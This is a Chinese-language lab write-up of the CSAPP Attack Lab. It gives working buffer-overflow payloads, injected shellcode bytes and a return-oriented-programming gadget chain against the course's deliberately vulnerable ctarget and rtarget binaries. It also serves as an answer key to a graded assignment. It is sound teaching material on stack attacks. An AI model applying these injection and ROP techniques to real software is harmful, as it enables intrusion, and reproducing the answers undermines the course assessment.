Attack lab
简介
这是CSAPP的第三个实验,跟Bomb lab有些类似,都需要你对X86-64汇编语言以及一套调试的方式有着足够的理解,所不同的是,这一次更注重于写汇编语言的代码,并且以Byte的格式注入到程序内,用来攻击程序,简单地说,这个实验就是模拟一个黑客所做的事情。
实验分为两个部分注入攻击和返回值攻击,前者的栈的地址是固定的,裸奔状态,后者每次栈内存起始地址都会发生变化,难度有所增加。与Bomb lab不同的是,这个实验如果攻击失败,不会扣分,可以放心地进行各种调试和实验的操作。
一些需要用到的操作
打开Attack lab的文件夹,我们可以发现里面主要有四个文件:
ctarget 用来进行代码注入攻击
rtarget 用来进行返回值攻击
cookie.txt 是一个唯一表示的字符串,可以理解为ID,主要是CMU用来防止学生作弊互相抄答案,里面很多需要攻击的函数,都要将这个作为参数传入
hex2raw 用来将64进制Byte码变成字符串,可用来传入到需要攻击的程序中
此外,根据handout的提示和我个人做这个lab的经验,以下一些命令可能会非常有用:1
./hex2raw < ans.txt | ./ctarget -q
通过管道来将ans里的Byte码变成字符串传入需要攻击的程序中,-q是不发信息给服务器,自学用需要加上这个参数。
1 | gcc -c example.s |
上面这段是可以用来现实x86-64汇编语言所对应的16位字节码
比如,example.s1
2
3
4
5
6
7; Example of hand-generated assembly code
pushq $0xabcdef
addq $17,%rax
movl %eax,%edx
; Push value onto stack
; Add 17 to %rax
; Copy lower 32 bits to %edx
对应的example.d则是:1
2
3
4
5Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00, pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
Part1 Code Injection Attacks
简介
这是lab的第一部分,代码注入攻击,ctarget是我们要攻击的程序,题目告诉我们ctarget里有一个叫做test的函数1
2
3
4
5void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
根据题目的意思这个函数应该是每次都会调用的,然后这个函数会调用一个不安全的getbuf函数,有点类似于get,不检查读入的字符串的大小,也不加以任何保护,使得我们利用getbuf,可以对其进行代码注入达到攻击的效果, 具体原理可以参见CSAPP第三版3-10,心中要有下图,原理方能熟稔于心:
Phase 1
第一关要求我们让test不返回,而是getbuf后直接运行一个叫做touch1的函数,其C语言代码如下:1
2
3
4
5
6void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
看得出来,就是一个直接运行的函数,没有参数,显然我们只需要把它的地址注入到运行栈,将原先的返回地址覆盖掉即可,将touch1用gdb反汇编,我们得出touch1的入口地址为:
0x4017c0,反汇编getbuf,得到如下代码:1
2
3
4
5
60x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
注意到rsp,一上来减去40个字节,说明栈getbuf分配的栈深为40字节,我们就填充40个字节的字符,最后再加上touch1的入口地址即可,所以我们可以得出所需要传入的Byte码如下:1
2
3
4
5ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
c0 17 40
根据题目要求,字节序反过来,比如要表示40 17 c0则应该传入c0 17 40。
将这段字符Byte输入,则可以完成第一关的攻击。
Phase 2
第二关稍微复杂一些,要求运行touch2,其C语言代码如下:1
2
3
4
5
6
7
8
9
10
11
12void touch2(unsigned val){
vlevel = 2;
if(val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n",val);
validate(2);
}
else{
printf("Misfire!: You called touch2(0x%.8x)\n",val);
fail(2);
}
exit(0);
}
与touch1不同的是touch2需要我们给他传一个参数,也就是我们的cookie,自学版cookie值是0x59b997fa,也就是说我们需要先把参数%rdi的数值设置为0x59b997fa,再调用touch2。
根据handout里的提示,直接利用jmp或者callq来调用函数比较麻烦,推荐我们用retq,这次我们需要将代码也注入到栈里,以下就是我们需要注入的代码1
2
3pushq $0x4017ec ;touch2的地址,存入栈口
movq $0x59b997fa,%rdi ; 将cookie放入rdi,当做第一个参数传入
retq ;返回
这一段我们直接让getbuf读入,放入栈中,当然我们还需要首先让getbuf读取完后不返回test,而是直接返回到这段代码,也就是原来栈的入口,给getbuf设置下断点,得出栈,也就是注入的代码的位置,0x5561dc78,将最后返回的位置用该位置覆盖即可,答案如下:1
2
3
4
5
6
768 ec 17 40 00
48 c7 c7 fa 97 b9 59
c3
ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef
78 dc 61 55
Phase 3
让getbuf完了后运行touch3,touch3代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
这个稍微麻烦点儿,touch3要求传入字符串,字符串为cookie以字符串的形式表示,前面的”0x“舍去。
我们发现touch3调用了hexmatch函数,而该函数一上来就申请了个110byte大小的空间,说明我们之前的空间会被覆盖掉,为了保证字符串存在的位置不会被覆盖,我们最好将cookie字符串存在test的栈区中,其他部分跟level2差不多,1
2
3pushq $0x4018fa ;touch3的位置
lea 0x8(%rsp),%rdi ; 存放字符串的头指针
retq
利用gcc得出以上汇编语言的字节码,答案如下:1
2
3
4
5
6
7
8
9
1068 fa 18 40 00
48 8d 7c 24 08
c3 ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
因为64位字节码一次读取8个byte,所以我们应当将注入的地址(也就是栈的初始地址)后面用00进行padding,否则会报错,后面那一长串35 - 00就是对应的”5561dc78“的字节码,00表示字符串结束,很容易忘掉。
Return Oriented Programming
简介
这一部分是攻击rtarget这个文件,有level2和level3两个部分,分别是重复前面phase2和phase3的攻击效果,所不同的是rtarget有一些保护措施,例如栈地址随机化和部分栈内容是只读的,因此像ctarget一样直接注入代码是没有用的,对于这种保护措施,我们依然有方法去进行攻击,这个就是Return Oriented Programming
这种攻击方式的原理是,程序的汇编语言代码中,会出现我们需要的代码片段,并且以0xc3,也就是返回为终止,这种代码片段叫做gadget,合理利用gadget,我们就能实现return oriented programming这种攻击模式。
举个例子1
2
3
4void setval_210(unsigned *p)
{
*p = 3347663060U;
}
上述这段代码,是将一个unsigned指针的值改变成一个很奇怪的数字,这个代码段乍看之下没啥用,不过如果我们观察它的汇编语言代码:1
2
30000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
我们发现第一行是48 89 c7,这个在x86-64汇编语言中代表了movq %rax, %rdi这条语句,并且以c3也就是retq为结束,即如果我们能够让程序从400f18开始运行,则相当于运行了movq %rax, %rdi,并且返回。
而这样的片段就叫做gadget,我们如果将栈上精心放一些gadget的地址,如下图这样:
就可以让程序运行一些我们所期望它运行的代码片段,从而可以绕过随机化栈地址和只读栈地址这种保护策略。
本题中有一个这样的代码仓库,叫做farm,题目要求我们利用farm里的gadget重新完成一遍phase2和phase3的攻击,也就是Phase4和Phase5。
Phase 4
利用gadget实现phase2的攻击,也就是运行touch2,题目有一个提示,我们只需要用到start_farm和mid_farm中间的gadget就可以了。
根据我们之前做Phase2的经验,我们需要将%rdi里的值设置为cookie,题目给我们提供了几张表用来帮助我们分别出需要可能会用到的Byte:
结合这个表观察farm,我们发现下面这段汇编有跟%rdi有关的命令1
24019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi), %eax
4019a6: c3 retq
其中48 89 c7 c3就是movq %rax, %rdi
不过我们还需要将coookie放到%rax里,这里我们可以用popq %rax的方法,从栈中把cookie读入到%rax中,所以我们所需要的语句其实是:1
2popq %rax
movq %rax, %rdi
在farm中我们能找到这样一行:1
24019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi), %eax
4019ad: c3 retq
其中58是popq %rax,而90则相当于是空行,pass的意思,有了这两个我们就很容易地构造出所需要传入的字符串了:
1 | ef ef ef ef ef ef ef ef ef ef |
Phase 5
Phase 5是利用start_farm到end_farm之间的gadget实现Phase 3的攻击,handout推荐这部分作为附加部分,暂时我就先不做了,原理上是一致的,不过要看的代码段多了一点儿,根据作业提示,8个gadgets就可以搞定,有兴趣可以自己尝试下,作为挑战。
总结
两种基本的攻击手法,code injection 和 return oriented programming,很有趣的实验,可以过把黑客的瘾,同时也能让学生对于栈和栈内存泄漏的bug有更加清晰的认识,相信如果认真做完这个lab,定能深刻领会到缓冲区溢出的危害和get这个命令的不安全性,在国内读书的时候,get只是在书上草草带过,说最好不要用,没有具体的告诉我们原理,这个lab可以当做计算机安全的一个入门。